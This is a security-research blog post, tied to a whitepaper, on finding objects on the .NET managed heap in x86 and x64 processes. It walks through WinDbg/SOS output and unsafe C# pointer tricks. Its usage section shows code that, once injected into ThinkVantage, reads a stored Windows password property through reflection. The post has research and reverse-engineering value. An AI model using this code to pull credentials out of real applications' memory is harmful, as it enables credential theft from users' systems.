.NET Heap Objects

This post is meant to be read in conjunction with my whitepaper, Acquiring .NET Objects from the Managed Heap located here, and I will be discussing how to find any object on the CLR heap in .NET both both x86 and x64 and CLR runtime 2.0 and 4.0. Objects contain a plethora of information useful in attacking / reversing such as what fields (instance and static) and the instance methods it contains. I will show how to construct an arbitrary object and how that object can be used to locate any other object of that type on the heap, much like you would with SOS Debugging Extension (SOS.dll) in Windbg.

It is worth noting what versions of .NET exist and what CLR they operate in…

| CLR Version | .NET Version  |
|-------------|---------------|
| 1.0         | 1.0           |
| 1.1         | 1.1           |
| 2.0         | 2.0, 3.0, 3.5 |
| 4.0         | 4.0, 4.5      |

We will only care about the major version of the runtime for the remainder of this post (each .NET version has several releases).

Environment.Version.ToString().ElementAt(0);

Also, I will only be discussing the 2.0 and 4.0 CLR version as I do not feel 1.0 is relevant for attacking modern applications. s

In order to start finding objects, it must be known how to find them and what they look like in raw memory. For this we will:

Setup Windbg

.NET CLR 2.0 use mscorwks.dll

.NET versions 4.0+ use clr.dll

loadby <dll> sos 

Naveen Srinivasan has a script to automatically detect the version of the CLR and which sos.dll to use…

!for_each_module .if(($sicmp( "@#ModuleName" , "mscorwks") = 0) ) {.loadby sos mscorwks} .elsif ($sicmp( "@#ModuleName" , "clr") = 0) {.loadby sos clr}

Also, having windbg symbols setup is never a bad idea…

0:009>!.sympath SRV*c:\localsymbols*http://msdl.microsoft.com/download/symbols
	

x86

CLR 2.0 and Object Primer

Now that we have Windbg running how we need it to figure out where objects live and look like, we can begin to examine them.

Start with !Dumpheap to find a method table of interest.

0:009>!dumpheap
		 Address               MT     Size
[snip]
00000000126248d8 000007fef66cfdd0   207040     
0000000012657198 0000000001d9fe30       24 Free
00000000126571b0 000007fef66cfdd0   207040     
0000000012689a70 0000000001d9fe30       24 Free
total 25923 objects
Statistics:
			  MT    Count    TotalSize Class Name
000007fef670f5f0        1           24 System.Reflection.DefaultMemberAttribute
000007fef670ed70        1           24 System.Security.Permissions.SecurityPermissionFlag
000007fef670e3b8        1           24 System.Collections.Generic.GenericEqualityComparer`1[[System.String, mscorlib]]
000007fef670b8d8        1           24 System.Resources.FastResourceComparer
[snip]
000007ff00223478        3          120 memoryHijacker.shellcode.dataBox

Using a MethodTable (MT) address from above, run !dumpheap -mt <address>

0:009> !dumpheap -mt 000007ff00223478        
		 Address               MT     Size
00000000026f5818 000007ff00223478       40     
00000000026f5880 000007ff00223478       40     
00000000026f6908 000007ff00223478       40     
total 3 objects
Statistics:
			  MT    Count    TotalSize Class Name
000007ff00223478        3          120 memoryHijacker.shellcode.dataBox
Total 3 objects

Use !dumpobj / !do on an objects address to show information about it

	!batch
	0:009> !dumpobj 00000000026f5818
	Name: memoryHijacker.shellcode.dataBox
	MethodTable: 000007ff00223478
	EEClass: 000007ff001f5968
	Size: 40(0x28) bytes
	 (C:\Users\Topher\Documents\memory-hijacker\memoryHijacker\memoryHijacker\bin\Debug\memoryHijacker.exe)
	Fields:
				  MT    Field   Offset                 Type VT     Attr            Value Name
	000007fef66c7d90  4000183        8        System.String  0 instance 00000000026f5748 name
	000007fef66cfdd0  4000184       10        System.Byte[]  0 instance 00000000026f5418 data
	000007fef66cf000  4000185       18         System.Int32  1 instance                0 indexToStartCleaning

Implementation

That’s cool and all.. but how about in a running application?

First, an object of a given type will need to be construed so the Method Table address can be located. This is easy with .NET Reflection and can be done like so for any object (Ones requiring parameters is a little trickier).

Type reference = typeof(GrayFrost.testClass); 
ConstructorInfo ctor = reference.GetConstructor (Type.EmptyTypes); 
object wantedObject = ctor.Invoke(new object[]{});

To get the address of an object we have access to, we can use a local methods parameter addresses to trick an object into an Intptr. Note the use of unsafe code… that doesn’t matter when injected into an application as it is just a compile option!

 public static IntPtr getObjectAddr(object wantedObject)
{
	IntPtr objectPointer = IntPtr.Zero;
	unsafe
	{
		objectPointer = *(&objectPointer - 3);
	}
	return objectPointer;
}
	

Using windbg, the offset of &objectPointer was somewhere in memory and I used !dumpobject on each location until I discovered for both the 2.0 and 4.0 CLR on x86 the wantedObject was at a negative offset of 3.

This gives the address of a raw object! Turns out in the .NET CLR Objects are actually just pointers back to their object table!

#Address of refer:109892756 with value of 43425996

!batch
0:015> !do 0n43425996
Name: memoryHijacker.abc
MethodTable: 00684820
EEClass: 01141440
Size: 12(0xc) bytes
 (C:\Blob\memoryHijacker.exe)
Fields:
None
	

So we clearly now have an object pointer to the PURE object for whatever we constructed… however, how do we find all objects of this type? We can use the method table!

The method table is the first 4 bytes of the address of the object

0:015> db 0n43425996 
0296a0cc  20 48 68 00 00 00 00 00-00 00 00 00 30 55 03 6f   Hh.........0U.o

20 48 68 00 changed for endianess is 00684820 which matches the method table from above.

Dumping the method table some more information about objects, as shown above.

0:015> !dumpheap -mt 00684820
 Address       MT     Size
0296a0cc 00684820       12     
total 1 objects
Statistics:
	  MT    Count    TotalSize Class Name
00684820        1           12 memoryHijacker.abc
Total 1 objects

This just tells us the address of the pure object, 0296a0cc, which we had from above. Thus, it is shown that each object of a given type will have the same Method Table pointer in the first four bytes of the object table.

What if we had more than one of these objects?

I made three more..

0:016> !dumpheap -mt 00684820
 Address       MT     Size
0296a0cc 00684820       12     
029b05d0 00684820       12     
029bcfd0 00684820       12     
029d57c8 00684820       12     
total 4 objects
Statistics:
	  MT    Count    TotalSize Class Name
00684820        4           48 memoryHijacker.abc
Total 4 objects
	

And we see the original one, at 0296a0cc, and then three more..

So what?

Well, we now can constructed an object, grab the raw pointer to it (which is somewhere within what I call the ‘object heap’) and look at the address of its Method Table.

How can we grab objects that are already instantiated?

I use a brute force approach to locate other objects of a type. Because I now know where the object heap lives, I can do a brute force scan.

By taking the address of the object I knew about, I can search down the heap by jumping over the size of each object and travse up the heap in 4 byte increments. Each object location will be compared with the 4 bytes address to the Method Table the original object had.

Pseudo Code:

While valid memory at positive offset from object
	Obtain object size and jump to next object
	Check first four bytes for matching Method Table
	IF Method Tables match	
		Add object IntPtr to list
While valid memory at negative offset from object
	Check each 4 byte MT address to see if its address is the same as the wantedObjects
	IF MethodTables match	
		Add object IntPtr to list
			

The most questionable part of the above pseudo code is getting an IntPtr back to an actual object in .NET. We already looked at manipulating pointers to take an objects IntPtr and we can use similar logic to put an IntPtr back into an object.

public static object GetInstance(IntPtr ptrIN)
{
	object refer = ptrIN.GetType();
	IntPtr pointer = ptrIN;
	unsafe
	{
		(*(&pointer - 1 )) = *(&pointer);
	}
	return refer;
}	
	

4.0 CLR

!dumpheap still shows objects around the same addr range as CLR 2.0… hover around the ~02700000 range and grows in both directions

Does the 4.0 CLR MethodTable information change that is used for a signature of the object?

0:008> !dumpheap -mt 0013945c        
 Address       MT     Size
027e2918 0013945c      616     

Statistics:
	  MT    Count    TotalSize Class Name
0013945c        1          616 memoryHijacker.methodEditorGUI
Total 1 objects

0:008> !do 027e2918
Name:        memoryHijacker.methodEditorGUI
MethodTable: 0013945c
EEClass:     002c6654
Size:        616(0x268) bytes


0:008> db 027e2918
027e2918  5c 94 13 00 

First four bytes are still the Method Table!

Rinse and repeat steps from the 2.0 CLR. Note that the pointer offsets will change, though.

public static int clrSub = 1;
if (clrVersion == '2')
	clrSub = 1;
else if (clrVersion == '4')
	clrSub = 2;
	
public static object GetInstance(IntPtr ptrIN)
{
	object refer = ptrIN.GetType();
	IntPtr pointer = ptrIN;
	unsafe
	{
		(*(&pointer - clrSub)) = *(&pointer);
	}
	return refer;
}

x64

2.0 CLR

Following the same steps as x86, let’s figure out where objects are and what their structure looks like.

0:008> !dumpheap 
              MT    Count    TotalSize Class Name
000007ff002051f0        1           24 memoryHijacker.abc

0:008> !dumpheap -mt 000007ff002051f0
         Address               MT     Size
0000000002f2e610 000007ff002051f0       24     
total 1 objects

0:008> !do 0000000002f2e610
Name: memoryHijacker.abc
MethodTable: 000007ff002051f0
EEClass: 000007ff002211a8
Size: 24(0x18) bytes
 (C:\Users\Topher\Documents\memory-hijacker\memoryHijacker\memoryHijacker\bin\Debug\memoryHijacker.exe)
Fields:
None

0:008> dd 0000000002f2e610
00000000`02f2e610  002051f0 000007ff 00000000 00000000
[snip]

1st 8 bytes = Method Table!

000007ff002051f0 = Method Table

002051f0 000007ff changed for endianess is 000007ff002051f0 which matches the method table from above.

So where is this stuff on the stack?

After much tweaking with my local variable range, I discovered that if there are two local variables between the object then it will present itself!

IntPtr objectPointer = (IntPtr)4;
object refer = wantedObject;
IntPtr objectPointer2 = (IntPtr)8;

unsafe
{
	System.Windows.Forms.MessageBox.Show("Address of objectPointer:" + (uint)(&objectPointer) + " address of objectPointer2: " + (uint)(&objectPointer2));
}

Address of objectPointer: 0059d9a0 address of objectPointer2: 0059d9b0

In Windbg…

0:008> dd 0059d9a0
00000000`0059d9a0  00000004 00000000 02f2e610 00000000
00000000`0059d9b0  00000008 00000000 00000000 00000000

and we see our object at 0000000002f2e610

0:008> !do 02f2e610
Name: memoryHijacker.abc
MethodTable: 000007ff002051f0
EEClass: 000007ff002211a8
Size: 24(0x18) bytes
 (C:\Users\Topher\Documents\memory-hijacker\memoryHijacker\memoryHijacker\bin\Debug\memoryHijacker.exe)
Fields:
None

So now we can say from objectPointer, we need to go one in to get the object pointer

objectPointer = *(&objectPointer + 1);

Success! We now have the pointer to our 64bit object of memoryHijacker.abc

We can use the same method as our 32bit signature and just compare bytes of the Method Table. Note everything is now 8 bytes instead of 4 as we are in x64 land.

And to restore the object pointer when we have a match just reverse what we did to find the raw object IntPtr.

public static IntPtr getObjectAddr64(object wantedObject)
{
	IntPtr objectPointer = (IntPtr)4;
	object refer = wantedObject;
	IntPtr objectPointer2 = (IntPtr)8;
	unsafe
	{
		objectPointer = *(&objectPointer + clrSub);
	}
	return objectPointer;
}

4.0 CLR

The 4.0 CLR does not requiring changing the x64 signature!


Usage

AutoThink has the source code required to launch the automated attack against ThinkVantage to recover a windows password. The key points are

1.) Utilizing reflection to construct the object of interest

Type reference = typeof(QlClr.User);
ConstructorInfo[] ctor = reference.GetConstructors(BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic);
object wantedObj = ctor[0].Invoke(new object[2] { null, null });

2.) Obtaining all objects on the managed heap of the matching type

object[] allUsers = heapObjects.getAddresses(wantedObj);

3.) Finding the property of interest… in this case, the WindowsPassword (the 15th location of the object’s properties).

object thisObj = objectFound.targetObject;
PropertyInfo[] properties = thisObj.GetType().GetProperties(BindingFlags.Static | BindingFlags.Public | BindingFlags.Instance | BindingFlags.NonPublic);
object ret = null;
try
{
    System.Threading.Thread call = new System.Threading.Thread
    (
        () =>
        {
            try { ret = properties[14].GetValue(thisObj, null); } }
            catch { return; }
        }
     );
    call.Start();
    System.Threading.Thread.Sleep(10);
    call.Abort();
    Console.WriteLine(ret.ToString());
    System.Windows.Forms.MessageBox.Show(ret.ToString());
}

It is important to note that I wrapped the calls for getting properties and fields in threads. This is because occasionally the “.toString()” method causes complications and results in an application hang or crash. This practice makes sure that our target won’t do either.

/resources/grayStorm/autoThink.mp4

Feel free to read the code in the git repo and ask me if you have questions about it!


Conclusion

Objects on the .NET Managed Heap can be acquired by an attacker once an application capable of performing the above techniques is introduced into an applications memory space. If an object is instantiated locally in order to find its Method Table, the heap can be brute forced to locate any object declared in the applications runtime!

Utilizing more reflection, instance methods can be invoked and variables can be changed. The limits of locating runtime objects is up to the user!

Have fun.

Written on June 12, 2015